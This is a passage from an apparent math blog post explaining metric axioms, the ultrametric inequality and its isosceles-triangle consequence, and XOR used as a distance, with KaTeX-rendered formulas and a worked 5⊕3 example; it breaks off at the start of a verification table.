  <li><strong>Identity:</strong> <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">d(x, x) = 0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>; a point is zero distance from itself.</li>
  <li><strong>Symmetry:</strong> <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>d</mi><mo stretchy="false">(</mo><mi>y</mi><mo separator="true">,</mo><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">d(x, y) = d(y, x)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span>; distance doesn’t depend on direction.</li>
  <li><strong>Triangle inequality:</strong> <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>z</mi><mo stretchy="false">)</mo><mo>≤</mo><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>+</mo><mi>d</mi><mo stretchy="false">(</mo><mi>y</mi><mo separator="true">,</mo><mi>z</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">d(x, z) \le d(x, y) + d(y, z)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.044em;">z</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.044em;">z</span><span class="mclose">)</span></span></span></span>; going through a detour is never shorter.</li>
</ol>

<p>That’s it.
Any rule satisfying these three is a valid distance – a <em>metric</em>, more precisely.
You can have wild, exotic metrics that look nothing like a ruler.</p>

<p>Let’s mess with the 3rd rule.
What about this: instead of “the detour is no shorter,” I demand “the detour is no shorter than <em>either leg alone</em>”:</p>

<span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable width="100%"><mtr><mtd width="50%"></mtd><mtd><mrow><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>z</mi><mo stretchy="false">)</mo><mo>≤</mo><mi>max</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo separator="true">,</mo><mtext> </mtext><mi>d</mi><mo stretchy="false">(</mo><mi>y</mi><mo separator="true">,</mo><mi>z</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo></mrow></mtd><mtd width="50%"></mtd><mtd><mtext>(1)</mtext></mtd></mtr></mtable><annotation encoding="application/x-tex">d(x, z) \le \max(d(x, y),\, d(y, z)) \tag{1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.044em;">z</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">max</span><span class="mopen">(</span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.044em;">z</span><span class="mclose">))</span></span><span class="tag"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">(</span><span class="mord"><span class="mord">1</span></span><span class="mord">)</span></span></span></span></span></span>

<p>This is called the <strong>ultrametric inequality</strong>.
It’s strictly stronger — any ultrametric is a metric, but not vice versa.
And it has a bizarre geometric consequence: <strong>every triangle is isosceles, with the two equal sides being the longest ones.</strong>
No scalene triangles.
Ever.</p>

<p>That might sound like a curiosity, but it isn’t.
Any metric satisfying this rule has a completely alien geometry — and XOR has it.</p>

<p>Before we move on, why do you think it’s <em>alien</em>?</p>

<p>What I love about simple things is that the more you stare at them the weirder they get.
There’s no difference here.
The trick above violates the intuitions that every other metric space you’ve ever worked in <em>quietly assumes</em>.
Let’s consider the Euclidean space.
In it, <em>nearness is a spectrum</em>.
If <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> and <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>z</mi></mrow><annotation encoding="application/x-tex">z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.044em;">z</span></span></span></span> are close, you can usually find a <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex">y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span> that’s “between” them: <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>+</mo><mi>d</mi><mo stretchy="false">(</mo><mi>y</mi><mo separator="true">,</mo><mi>z</mi><mo stretchy="false">)</mo><mo>=</mo><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>z</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">d(x,y) + d(y,z) = d(x,z)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.044em;">z</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.044em;">z</span><span class="mclose">)</span></span></span></span>, a midpoint.
Thus, closeness is continuous: if you move <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> a little (to <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>ε</mi></mrow><annotation encoding="application/x-tex">x + \varepsilon</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">ε</span></span></span></span>), the distance <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo>+</mo><mi>ε</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">d(x + \varepsilon, y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ε</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span> can’t jump by more than <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>x</mi><mo>+</mo><mi>ε</mi><mo stretchy="false">)</mo><mo>=</mo><mi>ε</mi></mrow><annotation encoding="application/x-tex">d(x, x + \varepsilon) = \varepsilon</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ε</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">ε</span></span></span></span> relative to <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">d(x, y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>, the original distance you started with.
That’s the triangle inequality rearranged: <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>−</mo><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo>+</mo><mi>ε</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mi mathvariant="normal">∣</mi><mo>≤</mo><mi>ε</mi></mrow><annotation encoding="application/x-tex">|d(x, y) - d(x + \varepsilon, y)| \leq \varepsilon</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ε</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">ε</span></span></span></span>.</p>

<p>In an ultrametric space, closeness is a binary hierarchical predicate (i.e. a function that returns true or false).
You’re either in the same subtree at depth <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>, or you’re not.
There’s no “kind of close” — there’s “same branch” or “different branch.”
For instance, distance doesn’t accumulate.
In a normal metric space, distance is additive along paths.
You go from <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> to <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex">y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span> to <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>z</mi></mrow><annotation encoding="application/x-tex">z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.044em;">z</span></span></span></span>, and the total distance is roughly the sum of the legs.
Distance builds up as you traverse the space — each step contributes, and long routes are long because many small distances piled on top of each other.
In an ultrametric, that arithmetic doesn’t happen because an ultrametric space is a binary tree.
Your distance from <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> to <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>z</mi></mrow><annotation encoding="application/x-tex">z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.044em;">z</span></span></span></span> is not the sum of anything but the height of the branching point in the tree.
It doesn’t matter how many intermediate nodes you pass through. The moment you cross a branch boundary at height <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi></mrow><annotation encoding="application/x-tex">h</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">h</span></span></span></span>, your distance becomes <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi></mrow><annotation encoding="application/x-tex">h</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">h</span></span></span></span>.</p>

<div style="text-align: center; font-size: 50px;">⊕</div>

<p>Let’s introduce XOR.
XOR is a bitwise operation on binary numbers.
Here’s the whole rule:</p>

<table>
  <thead>
    <tr>
      <th style="text-align: center">bit <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi></mrow><annotation encoding="application/x-tex">a</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span></th>
      <th style="text-align: center">bit <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>b</mi></mrow><annotation encoding="application/x-tex">b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span></span></span></span></th>
      <th style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mo>⊕</mo><mi>b</mi></mrow><annotation encoding="application/x-tex">a \oplus b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span></span></span></span></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center">0</td>
      <td style="text-align: center">0</td>
      <td style="text-align: center">0</td>
    </tr>
    <tr>
      <td style="text-align: center">0</td>
      <td style="text-align: center">1</td>
      <td style="text-align: center">1</td>
    </tr>
    <tr>
      <td style="text-align: center">1</td>
      <td style="text-align: center">0</td>
      <td style="text-align: center">1</td>
    </tr>
    <tr>
      <td style="text-align: center">1</td>
      <td style="text-align: center">1</td>
      <td style="text-align: center">0</td>
    </tr>
  </tbody>
</table>

<p>Think of it as two light switches: if they’re in the same position, the output is off.
If they differ, the output is on.
<strong>Same → 0. Different → 1.</strong></p>

<p>For multi-bit numbers, apply this rule to each bit position independently.
Let’s work out <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn><mo>⊕</mo><mn>3</mn></mrow><annotation encoding="application/x-tex">5 \oplus 3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">5</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span> by hand:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    5 =  0 1 0 1
    3 =  0 0 1 1
         -------
5 ⊕ 3 =  0 1 1 0  =  6
</code></pre></div></div>

<p>That’s XOR.
It measures <em>disagreement</em> between bits.</p>

<p>Now, can we use XOR as a distance?
Let’s check.</p>

<p>Define:</p>

<span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable width="100%"><mtr><mtd width="50%"></mtd><mtd><mrow><msub><mi>d</mi><mo>⊕</mo></msub><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><msup><mn>2</mn><mrow><mtext>position of the highest bit where </mtext><mi>x</mi><mtext> and </mtext><mi>y</mi><mtext> differ</mtext></mrow></msup></mrow></mtd><mtd width="50%"></mtd><mtd><mtext>(2)</mtext></mtd></mtr></mtable><annotation encoding="application/x-tex">d_\oplus(x, y) = 2^{\text{position of the highest bit where } x \text{ and } y \text{ differ}} \tag{2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2583em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">⊕</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8991em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">position of the highest bit where </span></span><span class="mord mathnormal mtight">x</span><span class="mord text mtight"><span class="mord mtight"> and </span></span><span class="mord mathnormal mtight" style="margin-right:0.0359em;">y</span><span class="mord text mtight"><span class="mord mtight"> differ</span></span></span></span></span></span></span></span></span></span></span><span class="tag"><span class="strut" style="height:1.1491em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">(</span><span class="mord"><span class="mord">2</span></span><span class="mord">)</span></span></span></span></span></span>

<p>Or equivalently: compute <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>⊕</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x \oplus y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>, then take <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo stretchy="false">⌊</mo><msub><mrow><mi>log</mi><mo>⁡</mo></mrow><mn>2</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo>⊕</mo><mi>y</mi><mo stretchy="false">)</mo><mo stretchy="false">⌋</mo></mrow></msup></mrow><annotation encoding="application/x-tex">2^{\lfloor \log_2(x \oplus y) \rfloor}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.888em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.888em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mopen mtight">⌊</span><span class="mop mtight"><span class="mop mtight"><span class="mtight">l</span><span class="mtight">o</span><span class="mtight" style="margin-right:0.0139em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1944em;"><span style="top:-2.2341em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2659em;"><span></span></span></span></span></span></span><span class="mopen mtight">(</span><span class="mord mathnormal mtight">x</span><span class="mbin mtight">⊕</span><span class="mord mathnormal mtight" style="margin-right:0.0359em;">y</span><span class="mclose mtight">)⌋</span></span></span></span></span></span></span></span></span></span></span></span> — the value of the most significant set bit of the XOR.</p>

<p>For example, verify:</p>

<table>
  <thead>
    <tr>
      <th style="text-align: center">pair</th>
      <th style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>⊕</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x \oplus y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span></th>
      <th style="text-align: center">binary</th>
      <th style="text-align: center">highest bit</th>
      <th style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>d</mi><mo>⊕</mo></msub></mrow><annotation encoding="application/x-tex">d_\oplus</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9028em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2583em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">⊕</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span></span></span></span></th>
    </tr>
  </thead>
  <tbody>
    <tr>
